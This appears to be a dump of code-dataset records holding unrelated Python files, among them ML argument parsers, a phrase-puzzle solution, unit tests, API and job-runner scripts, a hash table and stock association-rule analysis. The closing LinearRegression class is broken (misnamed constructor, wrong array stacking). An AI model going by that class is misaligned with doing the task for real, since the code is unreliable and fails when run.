Argument('--save-features-train', type=str, default=None, help='path to save trainset feature data to'),\n 'load_features_test':\n Argument('--load-features-test', type=str, default=None, help='path to testset feature data to load'),\n 'save_features_test':\n Argument('--save-features-test', type=str, default=None, help='path to save testset feature data to')\n }\n\n\nclass IncrDataArgs(DataArgs):\n ARGS = {\n 'classes_per_exposure':\n Argument('--classes-per-exposure', type=int, default=10,\n help='number of classes in each incremental exposure'),\n 'exposure_class_splits':\n Argument('--exposure-class-splits', type=list, nargs='+', default=None,\n help='specify class splits for each incremental exposure, overwriting --classes-per-exposure')\n }\n\n\nclass InitModelPath(ArgumentClass):\n ARGS = {\n 'init_model_path':\n Argument('--init-model-path', type=str,\n help='path to save file of the initialized model before training')\n }\n\n\nclass FinalModelPath(ArgumentClass):\n ARGS = {\n 'final_model_path':\n Argument('--final-model-path', type=str, help='path to save file of the final model')\n }\n\n\nclass TrainingArgs(Seed):\n ARGS = {\n 'save_acc':\n Argument('--save-acc', action='store_true',\n help='save per class accuracies of the model after each epoch'),\n 'acc_save_dir':\n Argument('--acc-save-dir', type=str, default='results', help='directory to save model stats to'),\n 'model_save_dir':\n Argument('--model-save-dir', type=str, default='models', help='directory to save model files to'),\n 'acc_save_path':\n Argument('--acc-save-path', type=str, default='accuracies.npz'),\n 'model_save_path':\n Argument('--model-save-path', type=str, default='model.pth'),\n 'lr':\n Argument('--lr', type=float, default=0.1, help='initial learning rate for training'),\n 'use_schedule':\n Argument('--use-schedule', action='store_true', help='use pyTorch learning rate scheduler'),\n 'lr_decay':\n Argument('--lrd', type=float, default=5, help='divisor for learning rate decay'),\n 'decay_epochs':\n Argument('--decay-epochs', type=int, nargs='*', default=[60, 120, 160],\n help='specify epochs during which to decay learning rate'),\n 'nesterov':\n Argument('--nesterov', action='store_true', help='whether to use nesterov optimization'),\n 'momentum':\n Argument('--momentum', type=float, default=0.9, help='momentum for optimization'),\n 'adam':\n Argument('--adam', action='store_true', help='use Adam optimization'),\n 'weight_decay':\n Argument('--weight-decay', type=float, default=5e-4, help='weight decay for optimization'),\n 'epochs':\n Argument('--epochs', type=int, default=200, help='number of epochs to train for'),\n }\n\n\n# Arguments exclusively for train_models.py:\n\n\nclass ModelInitArgs(Seed, NumClass, InitModelPath, Architecture):\n ARGS = {\n 'pretrained':\n Argument('--pretrained', action='store_true', help='start from pretrained initialization'),\n }\n\n\nclass TrainRefModelArgs(TrainingArgs):\n ARGS = {\n 'model_save_path': FinalModelPath.ARGS['final_model_path']\n }\n\n\n# Arguments exclusively for subnetwork_selection.py:\n\n\nclass RetrainingArgs(TrainingArgs):\n ARGS = {\n 'model_save_path':\n Argument('--retrain-model-path', type=str, default='models/retrained-model.pth',\n help='path to save the retrained model to')\n }\n\n\nclass SharedPruneArgs(ArgumentClass):\n ARGS = {\n 'prune_ratio':\n Argument('--prune-ratio', type=float, default=0.95, help='ratio of network units to be pruned'),\n 'prune_across_modules':\n Argument('--prune-across-modules', action='store_true',\n help='if --use-threshold is not set, whether to prune a fixed amount of units '\n 'across all network modules or prune a fixed amount of units per network module')\n }\n\n\nclass PruneInitArgs(SharedPruneArgs):\n ARGS = {\n 'prune_by':\n Argument('--init-prune-by', type=str, choices=['weight', 'weight_gradient', 'output', 'output_gradient'],\n default='weight', help='pruning method for pruning of model at initialization'),\n 'load_prune_masks':\n Argument('--init-load-prune-masks', action='store_true', help='load init model prune masks from savefile'),\n 'save_prune_masks':\n Argument('--init-save-prune-masks', action='store_true',\n help='save prune masks generated for init model to savefile'),\n 'prune_masks_filepath':\n Argument('--init-prune-masks-filepath', type=str, default='prune/init-prune-masks.npz',\n help='path to savefile for saving/loading init model prune masks')\n }\n\n\nclass PruneFinalArgs(SharedPruneArgs):\n ARGS = {\n 'prune_by':\n Argument('--final-prune-by', type=str, choices=['weight', 'weight_gradient', 'output', 'output_gradient'],\n default='weight', help='pruning method for pruning of final model'),\n 'load_prune_masks':\n Argument('--final-load-prune-masks', action='store_true', help='load final model prune masks from savefile'),\n 'save_prune_masks':\n Argument('--final-save-prune-masks', action='store_true',\n help='save prune masks generated for final model to savefile'),\n 'prune_masks_filepath':\n Argument('--final-prune-masks-filepath', type=str, default='prune/final-prune-masks.npz',\n help='path to savefile for saving/loading final model prune masks')\n }\n\n\nclass LoadModelArgs(InitModelPath, FinalModelPath, Architecture):\n ARGS = {}\n\n\nclass ExperimentArgs(Seed, LoadModelArgs):\n ARGS = {\n 'retrain':\n Argument('--retrain', action='store_true', help='retrain the masked subnetwork of the initialized model'),\n 'use_final_subnetwork':\n Argument('--use-init-subnetwork', action='store_false',\n help='use the prune mask obtained from initialized model rather than from the final model'),\n 'save_results':\n Argument('--save-results', action='store_true', help='save pruning results'),\n 'results_filepath':\n Argument('--results-filepath', type=str, default='prune/prune-results.npz',\n help='path to saved prune results')\n }\n\n\n# Arguments exclusively for alt_optim_study\n\n\nclass SparseTrainingArgs(TrainingArgs):\n ARGS = {\n 'model_save_path':\n Argument('--sparse-train-model-path', type=str, default='models/sparse-trained-model.pth',\n help='path to save the sparse-gradient-training model to'),\n 'mean_max_coef':\n Argument('--mean-max-coef', type=float, default=6,\n help='weighting of mean gradient magnitude against max gradient magnitude. '\n 'Used in approximation of percentile point to use for gradient thresholding')\n }\n\n\nclass AdaBPTrainingArgs(TrainingArgs):\n ARGS = {\n 'adapt_layer':\n Argument('--adapt-layers', type=str, nargs='*', default=[],\n help='layers to apply adaptive backprop update to'),\n 'adapt_coeff':\n Argument('--adapt-coeff', type=float, default=1.0,\n help='coefficient applied to weight update prior to calculation of dx/dy')\n }\n\n\n# Arguments exclusively for distributed_processing.py\n\n\nclass DistributedTrainingArgs(TrainingArgs):\n ARGS = {\n 'model_save_path':\n Argument('--distributed-model-path', type=str, default='models/distributed-model.pth',\n help='path to save the distributed model to')\n }\n\n\n# Arguments exclusively for gradient alignment experiment\n\n\nclass GradAlignmentArgs(TrainingArgs, LoadModelArgs):\n ARGS = {\n 'test_epochs':\n Argument('--test-epochs', type=int, nargs='+', default=[0, 1, 5, 20, 60, 120, 160],\n help='epochs to test for gradient alignment'),\n 'test_layers':\n Argument('--test-layers', type=str, nargs='+',\n default=['conv1', 'layer1.0.conv1', 'layer2.0.conv1', 'layer4.0.conv1', 'layer4.1.conv2'],\n help='layers to track gradient alignment for')\n }\n\n\nall_argsets = [\n NumClass, Seed, Architecture, DataArgs, InitModelPath, FinalModelPath, TrainingArgs,\n ModelInitArgs, TrainRefModelArgs, RetrainingArgs, DistributedTrainingArgs, GradAlignmentArgs,\n SharedPruneArgs, PruneInitArgs, PruneFinalArgs,\n ExperimentArgs, SparseTrainingArgs, FeatureDataArgs\n]\n","sub_path":"argument_parsing.py","file_name":"argument_parsing.py","file_ext":"py","file_size_in_byte":13890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"407573704","text":"# Time: O(l * rlogr) , l is the max length of phrases\n# , r is the number of result, could be up to O(n^2)\n# Space: O(l * (n + r)), n is the number of phrases\n\n# 1181\n# Given a list of phrases, generate a list of Before and After puzzles.\n#\n# A phrase is a string that consists of lowercase English letters and spaces only. No space appears in the start\n# or the end of a phrase. There are no consecutive spaces in a phrase.\n#\n# Before and After puzzles are phrases that are formed by merging two phrases where the last word of the first phrase\n# is the same as the first word of the second phrase.\n#\n# Return the Before and After puzzles that can be formed by every two phrases phrases[i] and phrases[j] where i != j.\n# Note that the order of matching two phrases matters, we want to consider both orders.\n#\n# You should return a list of distinct strings sorted lexicographically.\n\n# 1 <= phrases.length <= 100\n# 1 <= phrases[i].length <= 100\n# Hint:\n# What if you check every pair of strings (bruteforce)?\n# For every two strings, check if they can form a puzzle by comparing their last and first words.\n\n\nimport collections\n\n\nclass Solution(object):\n def beforeAndAfterPuzzles(self, phrases):\n \"\"\"\n :type phrases: List[str]\n :rtype: List[str]\n \"\"\"\n lastword = collections.defaultdict(list)\n for i, phrase in enumerate(phrases):\n right = phrase.rfind(' ')\n word = phrase if right == -1 else phrase[right+1:]\n lastword[word].append(i)\n\n result_set = set()\n for i, phrase in enumerate(phrases):\n left = phrase.find(' ')\n word = phrase if left == -1 else phrase[:left]\n if word not in lastword:\n continue\n for j in lastword[word]:\n if j != i:\n result_set.add(phrases[j] + phrase[len(word):])\n return sorted(result_set)\n\nprint(Solution().beforeAndAfterPuzzles([\"writing code\", \"code rocks\"]))\n# [\"writing code rocks\"]\n\nprint(Solution().beforeAndAfterPuzzles([\n \"mission statement\",\n \"a quick bite to eat\",\n \"a chip off the old block\",\n \"chocolate bar\",\n \"mission impossible\",\n \"a man on a mission\",\n \"block party\",\n \"eat my words\",\n \"bar of soap\"\n]))\n# Output: [\"a chip off the old block party\",\n# \"a man on a mission impossible\",\n# \"a man on a mission statement\",\n# \"a quick bite to eat my words\",\n# \"chocolate bar of soap\"]\n\nprint(Solution().beforeAndAfterPuzzles([\"a\",\"b\",\"a\"])) # [\"a\"]\n","sub_path":"Python/before-and-after-puzzle.py","file_name":"before-and-after-puzzle.py","file_ext":"py","file_size_in_byte":2566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"49767823","text":"# PyDimensions library\n# Copyright © 2016, Dmitry Musatov (dmitryvm@mail.ru)\n# All rights reserved.\n# Library homepage: http://crossterm.com/pydimensions\n#\n# See LICENSE file for details\n\nfrom .. import util\nimport unittest\nimport io\nfrom fractions import Fraction\n\nclass Test_solve_linear_system(unittest.TestCase):\n known_solutions = [\n ( [], None ),\n ( [[1, 2, 3]], None ),\n ( [[]], AssertionError),\n ( [[0]], [] ),\n ( [[2]], None ),\n ( [[0, 1]], None ),\n ( [[2, 4]], [2] ),\n ( [[1, 2, 3], [4, 5, 6]], [-1, 2] ),\n ( [[4, 5, 6], [1, 2, 3]], [-1, 2] ),\n # more equations than variables, but two equations are linear dependent\n ( [[1, 2, 3], [4, 5, 6], [2, 4, 6]], [-1, 2] ),\n # overdetermined\n ( [[1, 2, 3], [4, 5, 6], [2, 4, 7]], None ),\n # need to swap rows\n ( [[0, 2, 3], [4, 5, 6]], [Fraction(-3, 8), Fraction(3, 2)] )\n ]\n\n def test_known_solutions(self):\n for m, expected in self.known_solutions:\n if expected is AssertionError:\n self.assertRaises(expected, util.solve_linear_system, m)\n else:\n solution = util.solve_linear_system(m)\n self.assertEqual(expected, solution)\n\n def test_large_system(self):\n m = [\n [ 4, 4, 2, 1, 1, 6, 1, 1, 2, 1, 3 ],\n [ 5, 1, 2, 1, 1, 0, 5, 8, 0, 1, 5 ],\n [ 4, 7, 7, 8, 6, 3, 8, 1, 3, 0, 3 ],\n [ 2, 1, 1, 6, 0, 4, 3, 6, 1, 9, 8 ],\n [ 2, 0, 3, 5, 4, 8, 1, 8, 1, 0, 4 ],\n [ 0, 2, 2, 5, 6, 7, 1, 2, 7, 8, 8 ],\n [ 9, 8, 8, 2, 9, 5, 5, 5, 0, 2, 9 ],\n [ 0, 3, 8, 6, 6, 1, 7, 8, 0, 8, 3 ],\n [ 6, 5, 0, 7, 8, 7, 3, 0, 7, 6, 1 ],\n [ 6, 1, 6, 5, 6, 1, 7, 9, 8, 4, 5 ]\n ]\n expected = [\n -13.48549289156284,\n 57.31594623379570,\n -10.32806816564745,\n 16.98796713476109,\n -5.89837533626053,\n -28.94787146152148,\n -45.82625185512754,\n 32.74292474963216,\n 16.07468150154694,\n -8.13407596460671\n ]\n solution = [ float(x) for x in util.solve_linear_system(m) ]\n self.assertTrue(all([util.isclose(x, y) for x, y in zip(expected, solution)]))\n # test the floating-point mode\n solution = util.solve_linear_system(m, use_float=True)\n self.assertTrue(all([util.isclose(x, y) for x, y in zip(expected, solution)]))\n\n def test_pretty_print(self):\n m = [[Fraction(2, 1), Fraction(1, 2), 1/3], [4, 5, 6]]\n expected = ' 2 1/2 0.333\\n 4 5 6\\n'\n with io.StringIO() as buf:\n util.pretty_print_matrix(m, file=buf)\n self.assertEqual(buf.getvalue(), expected)\n\n def test_debug_mode(self):\n m = [[0, 2, 3], [4, 5, 6]]\n expected = \"\"\"the original matrix\n 0 2 3\n 4 5 6\nswapping row 0 and 1\nstep 1:\n 1 5/4 3/2\n 0 2 3\nstep 2:\n 1 0 -3/8\n 0 1 3/2\n\"\"\"\n with io.StringIO() as buf:\n util.solve_linear_system(m, debug=buf)\n self.assertEqual(buf.getvalue(), expected)\n\n","sub_path":"pydimensions/tests/solve_linear_system.py","file_name":"solve_linear_system.py","file_ext":"py","file_size_in_byte":3300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"646754784","text":"\"\"\" Quote of the Day. \"\"\"\nimport os\nimport platform\nimport random\n\n\ndef main():\n \"\"\" Print quote of the day. \"\"\"\n if \"QOTD_FILE\" in os.environ:\n qotd_file = os.environ['QOTD_FILE']\n else:\n home = os.path.expanduser(\"~\")\n file = \"_qotds.txt\" if platform.system() == 'Windows' else \".qotds.txt\"\n qotd_file = os.path.join(home, file)\n\n with open(qotd_file, 'r') as qotds_file:\n content = qotds_file.read()\n\n qotds = content.split('%\\n')\n\n quote = ''\n while quote.strip() == '':\n quote = random.choice(qotds)\n\n index = 0\n str_len = len(quote)\n in_bold = False\n in_italic = False\n text = ''\n while index < str_len:\n character = quote[index]\n if character == '\\\\':\n index = index + 1\n text = text + quote[index]\n elif character == '\\n':\n text = text + os.linesep\n elif character == '*':\n text = text + ('\\033[0m' if in_bold else '\\033[1m')\n in_bold = not in_bold\n elif character == '_':\n text = text + ('\\033[0m' if in_italic else '\\033[7m')\n in_italic = not in_italic\n elif character == '#':\n text = text + ' '\n else:\n text = text + character\n\n index = index + 1\n\n print(text)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"CliApps/pyqotd.py","file_name":"pyqotd.py","file_ext":"py","file_size_in_byte":1351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"472760415","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport pycurl\nimport urllib\n\nclass ChatWork():\n def __init__(self, api_token):\n self.api_token = api_token\n\n def show_rooms(self):\n \"\"\"\n ルーム一覧\n \"\"\"\n url = \"https://api.chatwork.com/v1/rooms\"\n curl = pycurl.Curl()\n curl.setopt(pycurl.URL, url)\n curl.setopt(pycurl.HTTPHEADER, [\"X-ChatWorkToken:\" + self.api_token])\n curl.perform()\n\n def send_message(self, room_id, message):\n \"\"\"\n テキストの送信\n :param room_id: 部屋ID\n :message: 送信するテキスト\n \"\"\"\n # 送り先のURL作成\n url = \"https://api.chatwork.com/v1/rooms/%s/messages\" % room_id\n\n # オプションの設定\n options = {\n \"body\":message\n }\n curl = pycurl.Curl()\n curl.setopt(pycurl.URL, url)\n curl.setopt(pycurl.HTTPHEADER, ['X-ChatWorkToken:' + self.api_token])\n curl.setopt(pycurl.POST, 1)\n curl.setopt(pycurl.POSTFIELDS, urllib.urlencode(options))\n curl.perform()","sub_path":"base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"441193340","text":"class ChainingHashTable:\n\n # O(n)\n def __init__(self, initial_capacity=40):\n self.table = []\n for i in range(initial_capacity):\n self.table.append([])\n\n # Inserts a new item into hash table\n\n # O(1)\n def insert(self, key, item):\n bucket = hash(key) % len(self.table)\n bucket_list = self.table[bucket]\n bucket_list.append(item)\n\n # Searches for item with matching key, then returns the item if found / O(n)\n def search(self, key):\n bucket = hash(key) % len(self.table)\n bucket_list = self.table[bucket]\n if key in bucket_list:\n item_index = bucket_list.index(key)\n return bucket_list[item_index]\n else:\n return None\n\n # Removes item from the hash table if there is a key match / O(n)\n def remove(self, key):\n bucket = hash(key) % len(self.table)\n bucket_list = self.table[bucket]\n if key in bucket_list:\n bucket_list.remove(key)\n\n # Returns all of the items from the hash table to a list for ease of sorting / O(n^2)\n def return_all_items(self, list_of_items):\n for bucket in self.table:\n for item in bucket:\n list_of_items.append(item)\n","sub_path":"hashtable.py","file_name":"hashtable.py","file_ext":"py","file_size_in_byte":1241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"308312417","text":"#!/usr/bin/env python3\n# author: mjasny\n\nimport os\nimport sys\nimport time\nimport datetime as dt\nimport fcntl\nimport errno\nimport json\nimport subprocess\nimport uuid\nimport re\nimport copy\nimport signal\n\nfrom utils import JobDB, bcolors\nfrom utils.helper import *\nfrom config import *\n\n\ndef main():\n os.makedirs(os.path.dirname(DB_FILE), mode=0o777, exist_ok=True)\n args = get_args()\n jobs = get_jobs()\n\n for _, j in jobs.items():\n if j['exclusive']:\n from utils import print_motd\n print_motd()\n\n print('{}{}An exclusive job is running, please wait until it has finished.{}'.format(\n bcolors.BOLD, bcolors.FAIL, bcolors.ENDC))\n sys.exit(1)\n\n if args.exclusive and len(jobs) > 0:\n from utils import print_motd\n print_motd()\n\n print('{}{}Cannot start job exclusively, please wait until all other jobs finished.{}'.format(\n bcolors.BOLD, bcolors.FAIL, bcolors.ENDC))\n sys.exit(1)\n\n hours, minutes = 1, 0\n if args.time:\n m = re.search(r'([0-9]+)\\:([0-9]{2})', args.time)\n hours, minutes = map(int, m.groups())\n\n cmd = ' '.join(args.cmd)\n if args.pin:\n cmd = 'numactl --membind={} --cpunodebind={} -- {}'.format(\n args.numa, args.numa, cmd)\n my_id = uuid.uuid4().hex\n start_time = dt.datetime.now()\n end_time = start_time + dt.timedelta(hours=hours, minutes=minutes)\n\n DBHelper.set(\n my_id,\n user=get_user(),\n start=start_time.strftime('%Y-%m-%d %H:%M:%S'),\n end=end_time.strftime('%Y-%m-%d %H:%M:%S'),\n cmd=cmd,\n msg=args.message,\n exclusive=args.exclusive,\n pid=0,\n numa=args.numa\n )\n\n def clean_shutdown(sig, frame): return exit(my_id)\n signal.signal(signal.SIGALRM, clean_shutdown)\n signal.signal(signal.SIGHUP, clean_shutdown)\n signal.signal(signal.SIGINT, clean_shutdown)\n signal.signal(signal.SIGTERM, clean_shutdown)\n\n print('Starting cmd={}'.format(cmd), file=sys.stderr)\n\n try:\n p = subprocess.Popen(cmd, shell=True, preexec_fn=os.setsid)\n\n DBHelper.set(my_id, pid=p.pid)\n\n p.wait()\n finally:\n exit(my_id)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"expinfo.py","file_name":"expinfo.py","file_ext":"py","file_size_in_byte":2242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"331738948","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nimport asyncio\n\nfrom fbnet.command_runner import command_session\n\n\nclass MockCommandTransport(asyncio.Transport):\n\n _COMMAND_OUTPUTS = {\n b\"\\x15\": b\"\",\n b\"en\\n\": b\"en\\n$\",\n b\"term width 511\\n\": b\"term width 511\\n$\",\n b\"term len 0\\n\": b\"term len 0\\n$\",\n b\"test1\\n\": b\"\"\"test1\nMock response for test1\n$\"\"\",\n b\"show version\\n\": b\"\"\"show version\nMock response for show version\n$\"\"\",\n b\"command timeout\\n\": b\"\"\"command timeout\nMock response for command timeout\"\"\",\n b\"user prompt test\\n\": b\"\"\"user prompt test\nTest for user prompts\n<<>>\"\"\",\n }\n\n def __init__(self, mock_options, protocol_factory, loop):\n super().__init__()\n self._options = mock_options\n self._protocol = protocol_factory()\n self._protocol.connection_made(self)\n self._loop = loop\n self._prompt = b\"\\n$\"\n\n self._recv_data(self._prompt, self.prompt_delay())\n\n def prompt_delay(self):\n return self._options.get(\"prompt_delay\", 0)\n\n def command_delay(self):\n return self._options.get(\"command_delay\", 0)\n\n def _gen_cmd_response(self, cmd):\n return self._COMMAND_OUTPUTS[cmd]\n response = b\"\"\"Mock response for %s\\n\"\"\"\n return response % cmd.strip()\n\n def _recv_data(self, data, delay=0.1):\n self._loop.call_later(delay, self._protocol.data_received, data)\n\n def _run_command(self, cmd):\n # Echo back the command\n response = self._gen_cmd_response(cmd)\n self._recv_data(response, self.command_delay())\n\n def write(self, data):\n self._run_command(data)\n\n def close(self):\n pass\n\n\nclass MockSessionFactory:\n def __init__(self, mock_options, session_class):\n self._mock_options = mock_options\n self._session_class = session_class\n\n def __call__(self, *args, **kwargs):\n return self._session_class(self._mock_options, *args, **kwargs)\n\n def register_counters(self, counter_mgr):\n pass\n\n\nclass MockCommandSession(command_session.CliCommandSession):\n \"\"\"\n A mock commands session used for testing\n \"\"\"\n\n def __init__(self, mock_options, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self._mock_options = mock_options\n self.connect_called = False\n self.close_called = False\n self._transport = None\n self._cmd_stream = None\n\n def set_option(self, opt, value):\n self._mock_options[opt] = value\n\n def _delayed_connect(self):\n self.connect_called = True\n # Declare the session as connected\n self._cmd_stream = command_session.CommandStream(self, loop=self._loop)\n self._transport = MockCommandTransport(\n self._mock_options, lambda: self._cmd_stream, loop=self._loop\n )\n\n async def _connect(self):\n self._extra_info[\"peer\"] = command_session.PeerInfo(\"test-ip\", 22)\n if self._mock_options.get(\"connect_drop\", False):\n return\n delay = self._mock_options.get(\"connect_delay\", 0)\n self._loop.call_later(delay, self._delayed_connect)\n\n async def _close(self):\n self.close_called = True\n\n async def _run_command(self, *args, **kwargs):\n run_error = self._mock_options.get(\"run_error\", False)\n if run_error:\n raise IOError(\"Run Error\")\n else:\n return await super()._run_command(*args, **kwargs)\n\n @classmethod\n def Factory(cls, mock_options):\n return MockSessionFactory(mock_options, MockCommandSession)\n","sub_path":"tests/mock_session.py","file_name":"mock_session.py","file_ext":"py","file_size_in_byte":3771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"6922288","text":"A = int(input())\nfor i in range(A):\n i = list(map(str,input().split()))\n l=0\n for w in range(len(i)):\n if w == 0:\n l += float(i[w])\n else:\n if i[w] == '@':\n l *= 3\n elif i[w] == '#':\n l -= 7\n elif i[w] == '%':\n l += 5\n print(\"%0.2f\"%l)","sub_path":"No.5355.py","file_name":"No.5355.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"518281521","text":"import os\r\nfrom flask import Flask, render_template, request, redirect\r\nfrom data import db_session\r\nfrom data import tovar\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route('/')\r\n@app.route('/about')\r\ndef about():\r\n return render_template(\"site.html\")\r\n\r\n\r\n@app.route('/shop', methods=['POST', 'GET'])\r\ndef shop():\r\n db_session.global_init(\"db/shop.sqlite\")\r\n session = db_session.create_session()\r\n object = session.query(tovar.Tovar)\r\n session.commit()\r\n if request.method == 'GET':\r\n return render_template(\"site-tovar.html\", obj=object, selected=[], flag=0, flag2=1)\r\n elif request.method == 'POST':\r\n x = 0\r\n list = []\r\n for i in object:\r\n x += 1\r\n y = str(x)\r\n if request.form.get(y) != None:\r\n list.append(i)\r\n print(i.Name)\r\n fl=1\r\n if request.form.get('name') != None:\r\n print(\"Имя: \"+request.form['name'])\r\n print(\"Email: \"+request.form['email'])\r\n print(\"Телефон: \"+request.form['telefon'])\r\n fl=0\r\n\r\n return render_template(\"site-tovar.html\", obj=object, selected=list, flag=fl, flag2=fl)\r\n\r\n\r\n@app.route('/letter', methods=['POST', 'GET'])\r\ndef letter():\r\n if request.method == 'GET':\r\n return render_template(\"site-letter.html\")\r\n elif request.method == 'POST':\r\n print(\"Телефон: \"+request.form['telefon'])\r\n print(\"Имя: \"+request.form['name'])\r\n print(\"Заявка: \"+request.form['text'])\r\n return redirect(\"/#send\")\r\n\r\n\r\nif __name__ == '__main__':\r\n port = int(os.environ.get(\"PORT\", 5000))\r\n app.run(host='0.0.0.0', port=port)\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"115640838","text":"import csv\nimport numpy as np\nimport os\nimport time\n\nstart_time = time.time()\n\n# 폴더에 있는 csv파일 목록을 가져온다.\ndir = 'C:/Users/최상곤/Downloads/자몽_데이터수집기_Community/testdata'\ndir_arr = os.listdir(dir)\nitem_set = [] # item_set으로 중복되지 않은 종목명들의 집합\nday_basket = {} # 일일 날짜별로 모아놓은 딕셔너리 \n\nfor file_in_dir_arr in dir_arr: # directory 안의 파일들을 하나씩 꺼낸다.\n f = open(dir+'/'+file_in_dir_arr, 'r', encoding='utf-8')\n rdr = list(csv.reader(f))\n item = file_in_dir_arr.replace(\".csv\", \"\") # item(종목명)을 가져온다.\n item_set.append(item) # item을 item_set에 추가 \n for file_idx in range(1,len(rdr)-1):\n date = rdr[file_idx][0] # file_idx\n dic = {}\n dic[\"종목명\"] = item\n dic[\"등락률\"] = 100*(int(rdr[file_idx][4]) - int(rdr[file_idx+1][4])) / int(rdr[file_idx+1][4]) # ((오늘 종가 - 어제 종가) / 어제 종가) * 100\n \n if date not in day_basket.keys(): #day_basket에 date key가 없을때\n day_basket[date] = [] #date라는 key를 추가하고 value로 비어있는 리스트를 만든다.\n\n day_basket[date].append(dic)\n\nthreshold = 5 # support를 구하기 위한 임계치(threshold) 지정\nbasket_list = [] # 다수의 basket들을 list로 저장한다.\n\nfor key in day_basket.keys(): \n day = day_basket[key]\n basket = []\n for dic in day:\n if dic[\"등락률\"] >= threshold:\n #print(dic[\"등락률\"])\n basket.append(dic[\"종목명\"])\n basket_list.append(basket)\n\n#Single Support\nsupport_dict = {}\nfor item in item_set:\n support_dict[item] = 0\n for basket in basket_list:\n if item in basket:\n support_dict[item] += 1\n #if(support_dict[item] >= 70):\n #print(item, support_dict[item])\nprint(support_dict)\nprint(\"=\"*60)\nprint(\"basket 개수 : \", len(basket_list))\n#Double Support\ndouble_item_support_dict = {}\nfor item in range(0,len(item_set)):\n for j in range(item, len(item_set)-1):\n double_item_support_dict[item_set[item]+\",\"+item_set[j+1]] = 0\n for basket in basket_list:\n if item_set[item] in basket and item_set[j+1] in basket:\n double_item_support_dict[item_set[item]+\",\"+item_set[j+1]] += 1\nprint(double_item_support_dict)\nprint(len(double_item_support_dict))\nprint(\"=\"*100)\n\nbasket_cnt = len(basket_list)\nfile_number = 0\nf = open('Test_Association_support5_fileNumber'+str(file_number)+'.csv', 'w', encoding='euc_kr', newline='')\nwr = csv.writer(f)\nline_check = 0\nassociation_result = [] \nfor item in support_dict:\n for item2 in support_dict:\n if item == item2:\n continue\n print(item+\"->\"+item2)\n support_I = support_dict[item]\n support_j = support_dict[item2]\n\n if support_I != 0 and support_j !=0:\n if item+\",\"+item2 in double_item_support_dict:\n support_Ij = double_item_support_dict[item+\",\"+item2]\n else:\n support_Ij = double_item_support_dict[item2+\",\"+item]\n confidence = support_Ij/support_I\n interest = confidence - support_j/basket_cnt\n\n result = {\n \"association_rule\" : item+\"->\"+item2,\n \"support_I\" : support_I,\n \"support_j\" : support_j,\n \"support_Ij\" : support_Ij,\n \"support_I/total_basket\" : support_I/basket_cnt,\n \"support_j/total_basket\" : support_j/basket_cnt,\n \"support_Ij/total_basket\" : support_Ij/basket_cnt,\n \"confidence\" : confidence,\n \"interest\" : interest\n }\n \n association_result.append(result)\n\n if line_check == 1000000:\n f.close()\n file_number += 1\n f = open('Test_Association_support5_fileNumber'+str(file_number)+'.csv', 'w', encoding='euc_kr', newline='')\n wr = csv.writer(f)\n line_check = 0\n\n wr.writerow(result.values())\n line_check += 1\n\nf.close()\n\nend_time = time.time()\nelapsed = int(end_time - start_time)\nprint('{:02d}:{:02d}:{:02d}'.format(elapsed // 3600, (elapsed % 3600 // 60), elapsed % 60))\n\n","sub_path":"test_basket.py","file_name":"test_basket.py","file_ext":"py","file_size_in_byte":4316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"234449256","text":"import numpy as np\n\n\nclass LinearRegression:\n\n def __int__(self):\n \"\"\"构造方法\"\"\"\n self.coef_ = None\n self.intercept_ = None\n self._theta = None\n\n def fit_nomal(self, X_train, y_train):\n \"\"\"根据训练数据集X_train, y_train训练Linear Regression模型\"\"\"\n assert X_train.shape[0] == y_train.shape[0], \"The size of X_train must be equal to the size of y_train\"\n\n X_b = np.vstack([np.ones((len(X_train), 1)), X_train])\n self._theta = np.linalg.inv(X_b.T.dot(X_b)).dot(X_b.T).dot(y_train)\n self.coef_ = self._theta[1:]\n self.intercept_ = self._theta[0]\n return self\n\n def predict(self, X_predict):\n \"\"\"给定待预测数据集X_predict,返回表示X_predict的结果向量\"\"\"\n assert self.intercept_ is not None and self.coef_ is not None, \"must fit before predict!\"\n assert X_predict.shape[1] == len(self.coef_), \"the feature number of X_predict must be equal to X_train\"\n\n X_b = np.vstack(np.ones((len(X_predict), 1), 1), X_predict)\n return X_b.dot(self._theta)","sub_path":"MachineLearning/PlayML/LinearRegression.py","file_name":"LinearRegression.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"243592383","text":"# -*- coding: utf-8 -*-\n\n'''\n希尔排序\n\n希尔排序是插入排序一种更高效的改进版本。\n\n希尔排序是基于插入排序的以下两点性质而提出改进方法的:\n* 插入排序在对几乎已经排好序的数据操作时,效率高,即可以达到线性排序的效率\n* 